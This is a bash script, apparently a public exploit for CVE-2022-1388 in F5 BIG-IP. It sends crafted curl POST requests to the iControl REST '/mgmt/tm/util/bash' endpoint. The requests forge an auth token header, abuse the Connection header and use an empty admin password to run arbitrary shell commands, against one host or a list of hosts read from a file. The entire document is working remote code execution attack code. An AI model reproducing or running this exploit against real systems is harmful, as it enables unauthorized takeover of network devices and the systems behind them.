#!/usr/bin/env bash REGIME=$1 IP=$2 PORT=$3 COMMAND=$4 if [ -z "$REGIME" ] || [ "$REGIME" == "-h" ] || [ $REGIME == "--help" ];then echo "--------------------Welcome-to-CVE-2022-1388-by-1veresk--------------+"; echo "+--------------------------------------------------------------------+"; echo "+-------------------For-The-Help-------------------------------------+"; echo "Example#1: ./cve-2022-1388.sh -h-------------------------------------+"; echo "Example#2: ./cve-2022-1388.sh --help---------------------------------+"; echo "+-------------------For-The-URL-Check--------------------------------+"; echo "Example#1: ./cve-2022-1388.sh -u [Default port will be 80]"; echo "+-------------------For-The-File-Check-------------------------------+"; echo "Example#1: ./cve-2022-1388.sh -f --------------------------+"; echo "+--------------------------------------------------------------------+"; exit 1; fi if [ -z "$IP" ];then echo "Enter - u or -f "; exit 1; fi if [ -z "$PORT" ]; then PORT=80; fi if [ -z "$COMMAND" ];then COMMAND="id"; fi if [ -e "$IP" ];then while read LINE; do curl -v --insecure -X POST -H 'Content-Type: application/json' -H 'Connection: keep-alive, x-F5-Auth-Token' -H 'X-F5-Auth-Token: a' -H 'Authorization: Basic YWRtaW46' -d '{"command": "run", "utilCmdArgs": "-c'+$COMMAND+'"}' $LINE/mgmt/tm/util/bash; done <$IP else curl -v --insecure -X POST -H 'Content-Type: application/json' -H 'Connection: keep-alive, x-F5-Auth-Token' -H 'X-F5-Auth-Token: a' -H 'Authorization: Basic YWRtaW46' -d '{"command": "run", "utilCmdArgs": "-c'+$COMMAND+'"}' $IP:$PORT/mgmt/tm/util/bash; fi